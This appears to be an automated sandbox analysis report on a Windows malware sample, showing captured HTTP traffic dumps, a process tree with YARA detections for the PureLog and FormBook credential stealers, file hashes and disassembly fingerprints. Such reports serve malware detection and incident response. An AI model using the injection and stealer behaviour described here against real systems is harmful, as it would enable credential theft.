91 a1 e8 90 84 e5 85 a5 e5 8f a3 2f 61 70 70 2f 69 6f 73 2f e5 ae 89 e5 8d 93 2f e5 9c a8 e7 ba bf 2f e5 ae 98 e7 bd 91 ef bc 8c e5 85 ac e5 8f b8 e4 bd 8d e4 ba 8e 3a e5 b9 b3 e5 87 89 e5 b8 82 2c e6 96 b0 e4 ba ac e8 91 a1 e8 90 84 e5 85 a5 e5 8f a3 2f 61 70 70 2f 69 6f 73 2f e5 ae 89 e5 8d 93 2f e5 9c a8 e7 ba bf 2f e5 ae 98 e7 bd 91 e4 ba 8e 31 39 38 34 e5 b9 b4 33 e6 9c 88 32 37 e6 97 a5 e5 9c a8 e5 b9 b3 e5 87 89 e5 b8 82 e5 b7 a5 e5 95 86 e6 b3 a8 e5 86 8c 2c e4 b8 9a e5 8a a1 e7 bb 8f e7 90 86 2c e6 88 91 e5 85 ac e5 8f b8 e7 9a 84 e5 8a 9e e5 85 ac e5 9c b0 e5 9d 80 e8 ae be e5 9c a8 e5 be b7 e5 8e bf e9 be 99 e9 95 87 e5 b7 a5 e5 8c ba ef bc 8c e5 a6 82 e6 9e 9c e6 82 a8 e5 af b9 e6 88 91 e4 bb ac e6 9c 89 e4 b8 9a e5 8a a1 e4 b8 8a e7 9a 84 e9 9c 80 e6 b1 82 e6 88 96 e5 92 a8 e8 af a2 e4 bb b7 e6 a0 bc ef bc 8c e8 af b7 e8 81 94 e7 b3 bb e6 88 91 e4 bb ac e6 96 b0 e4 ba ac e8 91 a1 e8 90 84 e5 85 a5 e5 8f a3 2f 61 70 70 2f 69 6f 73 2f e5 ae 89 e5 8d 93 2f e5 9c a8 e7 ba bf 2f e5 ae 98 e7 bd 91 ef bc 8c e6 96 b0 e4 ba ac e8 91 a1 e8 90 84 e5 85 a5 e5 8f a3 2f 61 70 70 2f 69 6f 73 2f e5 ae 89 e5 8d 93 2f e5 9c a8 e7 ba bf 2f e5 ae 98 e7 bd 91 e5 b0 86 e7 bb 99 e4 ba 88 e6 9c 89 e7 ab 9e e4 ba 89 e5 8a 9b e6 83 8a e5 96 9c ef bc 81 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 73 74 74 63 73 2f 73 74 6a 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 73 2f 6d 67 67 73 2f 6a 62 6a 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d Data Ascii: 854b<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="applicable-device" content="pc"> <title>/app/ios///</title> <meta name="Keywords" content="/app/ios///"> <meta name="Description" content="/app/ios///:,/app/ios///1984327,,/app/ios////app/ios///"> <meta http-equiv="x-ua-compatible" content="IE=edge,chrome=1"> <script type="text/javascript" src="/sttcs/stjs.js" ></script> <link href="/styles/mggs/jbj.css" rel="stylesheet" type="text/css"> </head> <body> <div class=
Apr 26, 2024 07:40:57.373325109 CEST	1289	IN	Data Raw: 22 62 6f 64 79 62 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 62 6c 6f 63 6b 74 6f 70 5f 6c 69 22 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 Data Ascii: "bodybg"> <ul> <li class="blocktop_li" style="margin:0 auto;width:100%" funcode="1019" id="id_0"> <div class="top_bg"> <div class="top">
Apr 26, 2024 07:40:57.373337984 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 6e 75 5f 62 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 6e 75 22 3e Data Ascii: <div class="menu_bg"> <div class="menu"> <ul> <li class="lishow"> <a>
Apr 26, 2024 07:40:57.373364925 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <li> <a> </a> </li> </ul> <
Apr 26, 2024 07:40:57.373421907 CEST	1289	IN	Data Raw: 70 3a 20 30 70 78 3b 20 7d 20 2e 77 6f 72 64 31 20 7b 20 77 6f 72 64 2d 62 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: p: 0px; } .word1 { word-break: break-all; position: absolute; top: px; left: px; font-size: px; width: px; font-weight: normal; font-style: normal; ; z-index: 9; } .word2 { word-break: br
Apr 26, 2024 07:40:57.373467922 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 74 78 74 3d 22 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <li txt="1"> <div class="word1"> </div> <table cellpadding="0" cellspaci
Apr 26, 2024 07:40:57.373481989 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 76 61 6c 69 67 6e 3d 22 62 6f 74 74 6f 6d 22 20 77 69 64 74 68 3d 22 39 39 30 22 20 68 65 69 67 68 74 3d 22 35 30 Data Ascii: <td align="center" valign="bottom" width="990" height="50"> <div class="vip_banner_tab" id="bannerindex" style="margin-bottom:10px; width:44px;">
Apr 26, 2024 07:40:57.373495102 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 5f 74 69 74 6c 65 5f 6c 65 66 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="side_title_left"> </div> <div class="side_title_middle"> <h3>
Apr 26, 2024 07:40:57.373536110 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 79 5f 79 65 61 72 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="hy_years"> <font color="#FF0000"> <strong>
Apr 26, 2024 07:40:57.373564005 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 72 3e 0a 20 20 20 20 20 20 Data Ascii: <tbody> <tr> <td width="60" height="25">
Apr 26, 2024 07:40:57.745695114 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <tr> <td height="10"> </td> <td>

Target ID:	0
Start time:	07:38:50
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe"
Imagebase:	0x130000
File size:	843'272 bytes
MD5 hash:	E7C340F6EAB299B03BA3FFD6760268F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1752688007.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.1749151470.00000000025A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:38:53
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe"
Imagebase:	0xf00000
File size:	843'272 bytes
MD5 hash:	E7C340F6EAB299B03BA3FFD6760268F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:38:53
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7616 -s 1432
Imagebase:	0x960000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:39:27
Start date:	26/04/2024
Path:	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe"
Imagebase:	0xf30000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:39:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\unlodctr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unlodctr.exe"
Imagebase:	0xdf0000
File size:	34'304 bytes
MD5 hash:	EAF86537E26CC81C0767E58F66E01F52
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:39:41
Start date:	26/04/2024
Path:	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe"
Imagebase:	0xf30000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	07:39:54
Start date:	26/04/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	238
Total number of Limit Nodes:	22

Executed Functions

Function 08F32778 Relevance: 11.0, Strings: 8, Instructions: 972
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 08F33F8D
Hbq, xrefs: 08F34872
Hbq, xrefs: 08F34654
Hbq, xrefs: 08F34291
Hbq, xrefs: 08F34450
Hbq, xrefs: 08F34232
Hbq, xrefs: 08F346B3
PH^q, xrefs: 08F33F61

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: (bq$Hbq$Hbq$Hbq$Hbq$Hbq$Hbq$PH^q
API String ID: 0-3076519024
Opcode ID: 184c343155c86ead1e6f6397830cd120eeb93a7acb5afe066a03b53f52b2a8e1
Instruction ID: efb331a9a4ac42b7c3dba4cfd57125eca458aa77726ecd7643946c3665f5423e
Opcode Fuzzy Hash: 184c343155c86ead1e6f6397830cd120eeb93a7acb5afe066a03b53f52b2a8e1
Instruction Fuzzy Hash: 4E72DD70B002648FCB18EB79C89466E7BA3AFD8311F258569E14ADB3A1DE34DD42C791

Uniqueness

Uniqueness Score: -1.00%

Function 09647A20 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 09647C4E
Te^q, xrefs: 09647A89
)", xrefs: 09647ACA

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Te^q$Te^q$)"
API String ID: 0-4031938444
Opcode ID: 09273b90f613bf07a84e2baef59fc409f6ab50131b825c474b7fec5faaaff0a9
Instruction ID: 5e5a7a03df77d4a66e262c0ee2c0a4414ebb978296f38ba8d9ee00e28b23d005
Opcode Fuzzy Hash: 09273b90f613bf07a84e2baef59fc409f6ab50131b825c474b7fec5faaaff0a9
Instruction Fuzzy Hash: 9C81B074E002099FDB48CFEAC984AEEBBB2FF88300F24952AD415AB354D7359946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 096482A8 Relevance: 3.9, Strings: 3, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

7Z/t, xrefs: 096483BB
RWIK, xrefs: 09648312
[[bb, xrefs: 0964840B

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: 7Z/t$RWIK$[[bb
API String ID: 0-1157992699
Opcode ID: cdd7804b2d8aaf5e6b5ea68dce2eee90e1a1f91cb3fc4ff739399eda09b7a21a
Instruction ID: 78dfd735f51ffd64f6e2ca42296d5ecdd4b12a2b2af2b760095a4026605b5623
Opcode Fuzzy Hash: cdd7804b2d8aaf5e6b5ea68dce2eee90e1a1f91cb3fc4ff739399eda09b7a21a
Instruction Fuzzy Hash: 9151F2B4E0560ACFCB08CFEAC5415AEFFF2AF88350F24D56AD419A7254D7349A428F94

Uniqueness

Uniqueness Score: -1.00%

Function 00BC12F7 Relevance: 2.7, Strings: 2, Instructions: 234
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 00BC1401
Te^q, xrefs: 00BC15AF

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: dd293c7783b9458c85f7c71a318f398a9a5b85a3f31a963e0c252845f2082689
Instruction ID: f08bea648ad68ca21ad299919bbe4eaf754b380b2cb95f89f45146c9204ea17c
Opcode Fuzzy Hash: dd293c7783b9458c85f7c71a318f398a9a5b85a3f31a963e0c252845f2082689
Instruction Fuzzy Hash: 83A118B4E052488FCB04CFE9D894A9DFBF2AF99300F24846AD855BB356E7309906CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00BC1398 Relevance: 2.7, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 00BC1401
Te^q, xrefs: 00BC15AF

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: 7d05d9f1586e5dadd578f49a382390017b4eff46e1a807e6fc8295aa1eeb6c7c
Instruction ID: 4c831d5790af713bff5ec90a663dacf58b7ebc46739c7e1bdea6a6f42c7c7b64
Opcode Fuzzy Hash: 7d05d9f1586e5dadd578f49a382390017b4eff46e1a807e6fc8295aa1eeb6c7c
Instruction Fuzzy Hash: BB81C274E002098FDB08CFAAC984AAEFBF2BF89300F24956AD515BB355D7309946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00BC3407 Relevance: 1.6, Strings: 1, Instructions: 364COMMON

Download Yara Rule

Strings

qZ}, xrefs: 00BC3945

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: qZ}
API String ID: 0-1028629529
Opcode ID: f744def90af92741618d53b61d6735a2de1306cf4a6d031397f7a9ee36893b6a
Instruction ID: 9be141387fe63fd48428749a3e2653f18effc4621ac5b713a9f4adb2f67554c2
Opcode Fuzzy Hash: f744def90af92741618d53b61d6735a2de1306cf4a6d031397f7a9ee36893b6a
Instruction Fuzzy Hash: 56F1ACB0D19246CFCB04CFA5C4859AEFBF2FF99300B65C49AC815AB256D7349A42CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00BC3508 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

qZ}, xrefs: 00BC3945

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: qZ}
API String ID: 0-1028629529
Opcode ID: bd082e6fa7c972396b2184a86541c60583a65019808528fb33c25dbedec51621
Instruction ID: bc2e05380fe9609a454b6436279c2f7a498ac02777d8657cc9f5b0beebc60312
Opcode Fuzzy Hash: bd082e6fa7c972396b2184a86541c60583a65019808528fb33c25dbedec51621
Instruction Fuzzy Hash: BBE12970D1520ADFCB04CFA5C5809AEFBF2FF99700B64D5A9D416AB224D7349A42CF94

Uniqueness

Uniqueness Score: -1.00%

Function 09649BC0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

tIh, xrefs: 09649F75

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
Opcode ID: 1889f64a701640c24b3819387f7c78494cebd33d83c6aa589d2ffee6bdaaad3d
Instruction ID: 5016e90488b03e97f6a25a6d984e9d0aee9b3b284c17d26dcbe21b07629e6431
Opcode Fuzzy Hash: 1889f64a701640c24b3819387f7c78494cebd33d83c6aa589d2ffee6bdaaad3d
Instruction Fuzzy Hash: D0D13570E8520ADFCB14CFE9C4808AEFBB2FF89340B54D55AD415AB214D734AA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00BC1BC8 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

c#E, xrefs: 00BC1C7E

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: c#E
API String ID: 0-3322838188
Opcode ID: d8d664a24a8ab1b0ba629305f8c8a1ea4cf28485ebe5d1d3ad48a6e98d04dc6d
Instruction ID: 85ccbc6a05a9558edfc8e58a374af8a990c3f75fa68d7763af83d884ea42270e
Opcode Fuzzy Hash: d8d664a24a8ab1b0ba629305f8c8a1ea4cf28485ebe5d1d3ad48a6e98d04dc6d
Instruction Fuzzy Hash: AF512C70E052198FCB08CFA9C980AAEFBF2FF89301F24D56AD416BB255D7344941CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0756CD68 Relevance: .7, Instructions: 668COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1796208361.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7560000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25097f188813b8b02eabc28a6b656de6d9a5bb690234b8911206967e6e02f2ed
Instruction ID: e8c78094eddc22601c9bb41bb6dc98c8df183183052958f870b60cac87cd5775
Opcode Fuzzy Hash: 25097f188813b8b02eabc28a6b656de6d9a5bb690234b8911206967e6e02f2ed
Instruction Fuzzy Hash: AF5219707006058FCB54DF68C588A9DB7F2FF84315F2589A9E44A9B361DB35ED86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 08F374C8 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de2a800c5aa5ffcc5c262ec070e9308d6311ac43fbd43f79a769687b6e6af88d
Instruction ID: 7edc0cbdef9b660df9498eb53ec6010d6d3f43bccd042978458060ad35f2c898
Opcode Fuzzy Hash: de2a800c5aa5ffcc5c262ec070e9308d6311ac43fbd43f79a769687b6e6af88d
Instruction Fuzzy Hash: AA32D975D0061A8FCB15DF68C8906EDF7B1BF89300F1486AAD459AB351EB70AAC5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0962AD41 Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e7bde16ac6f7db2d8b204a7a877b62fbee896ad933984675000f8f0b79eab31
Instruction ID: 6f8c13edf85e598d27c1b5cec62fb9c5b83e70d199c7ffa83b6dce4e83b5f5ce
Opcode Fuzzy Hash: 4e7bde16ac6f7db2d8b204a7a877b62fbee896ad933984675000f8f0b79eab31
Instruction Fuzzy Hash: C8D1BA70700A118FEB19EFB5C450BAEB7F6AF8A305F54846DE1499B390CB79E902CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0964CC18 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 025a39ac6499dd72df639b9f4f99a566d75221420883e272d15a0dbf4747eca1
Instruction ID: 114761b64faa92dce6dcab6cf46fbb4f29ff210c8edf9c4c1f3646aad6778884
Opcode Fuzzy Hash: 025a39ac6499dd72df639b9f4f99a566d75221420883e272d15a0dbf4747eca1
Instruction Fuzzy Hash: 3391E771E16209DFCB08CFE5D581ADDBBB2BB89340F20A42AE456B7364D7389946CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0964C900 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 900ede442d9bbf69e576a442950cd41a3929d6070e673cc13353d0bbcb10d2c6
Instruction ID: bb84ec134771f4b2112841cb63eb9f2b105923938763f5b1e5fc134a3f56a211
Opcode Fuzzy Hash: 900ede442d9bbf69e576a442950cd41a3929d6070e673cc13353d0bbcb10d2c6
Instruction Fuzzy Hash: 7881FE75E0622ADFCF04CFE9C8809EEBBB2FB89300F10995AD455A7314D73999428B94

Uniqueness

Uniqueness Score: -1.00%

Function 0964E770 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf33c47f0c0eec829c9edfaea8471ab90e145b4c09e1f6cd1b3c9436baa9f20
